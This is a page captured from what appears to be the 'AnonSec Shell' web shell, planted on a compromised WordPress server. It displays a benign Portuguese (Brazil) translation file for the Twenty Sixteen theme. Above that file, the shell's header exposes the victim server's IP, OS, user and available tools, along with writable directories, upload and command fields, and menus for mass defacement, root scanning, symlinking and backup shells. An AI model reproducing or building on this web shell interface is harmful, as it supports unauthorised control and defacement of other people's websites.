AnonSec Shell
Server IP : 52.91.253.208  /  Your IP : 3.145.9.148   [ Reverse IP ]
Web Server : Apache
System : Linux ip-172-26-9-9 4.19.0-25-cloud-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64
User : daemon ( 1)
PHP Version : 7.3.18
Disable Function : NONE
Domains : 3 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apps/wordpress/htdocs/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/bitnami/apps/wordpress/htdocs/wp-content/languages/themes/twentysixteen-pt_BR.po
# Translation of Themes - Twenty Sixteen in Portuguese (Brazil)
# This file is distributed under the same license as the Themes - Twenty Sixteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-06-14 13:35:54+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: pt_BR\n"
"Project-Id-Version: Themes - Twenty Sixteen\n"

#. Theme Name of the theme
msgid "Twenty Sixteen"
msgstr "Twenty Sixteen"

#. Description of the theme
msgid "Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere."
msgstr "Twenty Sixteen é uma abordagem modernizada de um sempre popular template para WordPress — O cabeçalho horizontal com barra lateral direita opcional funciona perfeitamente para blogs e sites. Tem opções de cores personalizadas com belos esquemas de cores por padrão, uma harmoniosa grade fluida usando abordagem mobile-first e um polimento impecável em cada detalhe. Twenty Sixteen fará seu WordPress parecer lindo em todos os lugares."

#: functions.php:169
msgid "White"
msgstr "Branco"

#: functions.php:204
msgid "Bright Red"
msgstr "Vermelho brilhante"

#: functions.php:199
msgid "Dark Red"
msgstr "Vermelho escuro"

#: functions.php:184
msgid "Light Blue"
msgstr "Azul claro"

#: functions.php:194
msgid "Medium Brown"
msgstr "Castanho Médio"

#: functions.php:189
msgid "Dark Brown"
msgstr "Castanho escuro"

#: functions.php:179
msgid "Bright Blue"
msgstr "Azul brilhante"

#: functions.php:174
msgid "Blue Gray"
msgstr "Azul cinza"

#: functions.php:159
msgid "Medium Gray"
msgstr "Cinza médio"

#: functions.php:154
msgid "Dark Gray"
msgstr "Cinza escuro"

#: functions.php:164
msgid "Light Gray"
msgstr "Cinza claro"

#. translators: %s: Post title.
#: image.php:88 template-parts/content-page.php:39
#: template-parts/content.php:53 template-parts/content-search.php:28
#: template-parts/content-search.php:43 template-parts/content-single.php:47
msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Editar<span class=\"screen-reader-text\"> \"%s\"</span>"

#. translators: %s: Post title.
#: template-parts/content.php:29 inc/template-tags.php:195
msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Continue lendo<span class=\"screen-reader-text\"> \"%s\"</span>"

#: inc/customizer.php:347
msgid "Red"
msgstr "Vermelho"

#. translators: %s: Post title.
#: comments.php:31
msgctxt "comments title"
msgid "One thought on &ldquo;%s&rdquo;"
msgstr "Um comentário em &ldquo;%s&rdquo;"

#: searchform.php:16
msgctxt "submit button"
msgid "Search"
msgstr "Pesquisar"

#: searchform.php:14
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "Pesquisar &hellip;"

#: searchform.php:13
msgctxt "label"
msgid "Search for:"
msgstr "Pesquisar por:"

#: footer.php:17
msgid "Footer Primary Menu"
msgstr "Menu primário do rodapé"

#: footer.php:30
msgid "Footer Social Links Menu"
msgstr "Menu de links sociais do rodapé"

#: functions.php:269
msgid "Add widgets here to appear in your sidebar."
msgstr "Adicione widgets aqui para aparecerem em sua barra lateral."

#: template-parts/content.php:14
msgid "Featured"
msgstr "Destaque"

#: template-parts/content-none.php:33
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Aparentemente não pudemos encontrar o que você está procurando. Talvez uma busca ajude."

#: template-parts/content-none.php:28
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Nada foi encontrado com os termos da sua pesquisa. Tente novamente com algumas palavras-chaves diferentes."

#. translators: %s: Post editor URL.
#: template-parts/content-none.php:22
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "Pronto para publicar seu primeiro post? <a href=\"%1$s\">Comece aqui</a>."

#: template-parts/content-none.php:13
msgid "Nothing Found"
msgstr "Nada encontrado"

#. translators: %s: The post author display name.
#: template-parts/biography.php:35
msgid "View all posts by %s"
msgstr "Ver todos posts por %s"

#: template-parts/biography.php:28
msgid "Author:"
msgstr "Autor:"

#: single.php:42
msgid "Previous post:"
msgstr "Post anterior:"

#: single.php:39
msgid "Next post:"
msgstr "Próximo post:"

#: single.php:41
msgid "Previous"
msgstr "Anteriores"

#: single.php:38
msgid "Next"
msgstr "Próximo"

#. translators: %s: The search query.
#: search.php:21
msgid "Search Results for: %s"
msgstr "Resultados da pesquisa por: %s"

#: inc/template-tags.php:113
msgctxt "Used before tag names."
msgid "Tags"
msgstr "Tags"

#: inc/template-tags.php:104
msgctxt "Used before category names."
msgid "Categories"
msgstr "Categorias"

#: inc/template-tags.php:100 inc/template-tags.php:109
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr ", "

#: inc/template-tags.php:84
msgctxt "Used before publish date."
msgid "Posted on"
msgstr "Publicado em"

#: inc/template-tags.php:40
msgctxt "Used before post format."
msgid "Format"
msgstr "Formato"

#. translators: %s: Post title.
#: inc/template-tags.php:53
msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr "Deixe um comentário <span class=\"screen-reader-text\"> em %s</span>"

#: inc/template-tags.php:26
msgctxt "Used before post author name."
msgid "Author"
msgstr "Autor"

#: functions.php:209 inc/customizer.php:357
msgid "Yellow"
msgstr "Amarelo"

#: inc/customizer.php:337
msgid "Gray"
msgstr "Cinza"

#: inc/customizer.php:327
msgid "Dark"
msgstr "Escuro"

#: inc/customizer.php:317
msgid "Default"
msgstr "Padrão"

#: inc/customizer.php:242
msgid "Secondary Text Color"
msgstr "Cor de texto secundária"

#: inc/customizer.php:221
msgid "Main Text Color"
msgstr "Cor de texto principal"

#: inc/customizer.php:200
msgid "Link Color"
msgstr "Cor de Link"

#: inc/customizer.php:176
msgid "Page Background Color"
msgstr "Cor de fundo da página"

#: single.php:31 image.php:107
msgctxt "Parent post link"
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>"
msgstr "<span class=\"meta-nav\">Publicado em</span><span class=\"post-title\">%title</span>"

#: inc/customizer.php:153
msgid "Base Color Scheme"
msgstr "Paleta de cores base"

#. translators: %s: The current WordPress version.
#: inc/back-compat.php:42 inc/back-compat.php:56 inc/back-compat.php:75
msgid "Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again."
msgstr "Twenty Sixteen requer pelo menos a versão 4.4 do WordPress. Você está rodando a versão %s. Por favor atualize e tente novamente."

#: image.php:77
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Tamanho completo"

#: image.php:58 template-parts/content-page.php:24
#: template-parts/content.php:36 template-parts/content-single.php:26
msgid "Pages:"
msgstr "Páginas"

#: image.php:26
msgid "Next Image"
msgstr "Próxima imagem"

#: image.php:25
msgid "Previous Image"
msgstr "Imagem anterior"

#: header.php:50
msgid "Menu"
msgstr "Menu"

#: header.php:28
msgid "Skip to content"
msgstr "Pular para o conteúdo"

#: functions.php:419
msgid "expand child menu"
msgstr "expandir submenu"

#: functions.php:420
msgid "collapse child menu"
msgstr "fechar submenu"

#: functions.php:322
msgctxt "Merriweather font: on or off"
msgid "on"
msgstr "ligada"

#: functions.php:330
msgctxt "Montserrat font: on or off"
msgid "on"
msgstr "ligada"

#: functions.php:338
msgctxt "Inconsolata font: on or off"
msgid "on"
msgstr "ativa"

#: functions.php:281 functions.php:293
msgid "Appears at the bottom of the content on posts and pages."
msgstr "Aparece na parte inferior do conteúdo nos posts e páginas."

#: functions.php:291
msgid "Content Bottom 2"
msgstr "Conteúdo inferior 2"

#: functions.php:279
msgid "Content Bottom 1"
msgstr "Conteúdo inferior 1"

#: functions.php:267
msgid "Sidebar"
msgstr "Lateral"

#: functions.php:93 header.php:67
msgid "Social Links Menu"
msgstr "Menu de links sociais"

#: functions.php:92 header.php:54
msgid "Primary Menu"
msgstr "Menu principal"

#. translators: %s: WordPress
#: footer.php:63
msgid "Proudly powered by %s"
msgstr "Orgulhosamente desenvolvido com %s"

#: comments.php:71
msgid "Comments are closed."
msgstr "Os comentários estão desativados."

#. translators: 1: Number of comments, 2: Post title.
#: comments.php:35
msgctxt "comments title"
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s comentário em &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s comentários em &ldquo;%2$s&rdquo;"

#: image.php:62 template-parts/content-page.php:28
#: template-parts/content.php:40 template-parts/content-single.php:30
#: search.php:46 archive.php:54 index.php:51
msgid "Page"
msgstr "Página"

#: search.php:45 archive.php:53 index.php:50
msgid "Next page"
msgstr "Próxima página"

#: search.php:44 archive.php:52 index.php:49
msgid "Previous page"
msgstr "Página anterior"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Parece que nada foi encontrado por aqui. Tente uma busca talvez?"

#: 404.php:17
msgid "Oops! That page can&rsquo;t be found."
msgstr "Opa! A página não pode ser encontrada,"

#. Author of the theme
msgid "the WordPress team"
msgstr "a equipe do WordPress"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentysixteen/"
msgstr "https://wordpress.org/themes/twentysixteen/"

#. Author URI of the theme
#: footer.php:60
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

Anon7 - 2022
AnonSec Team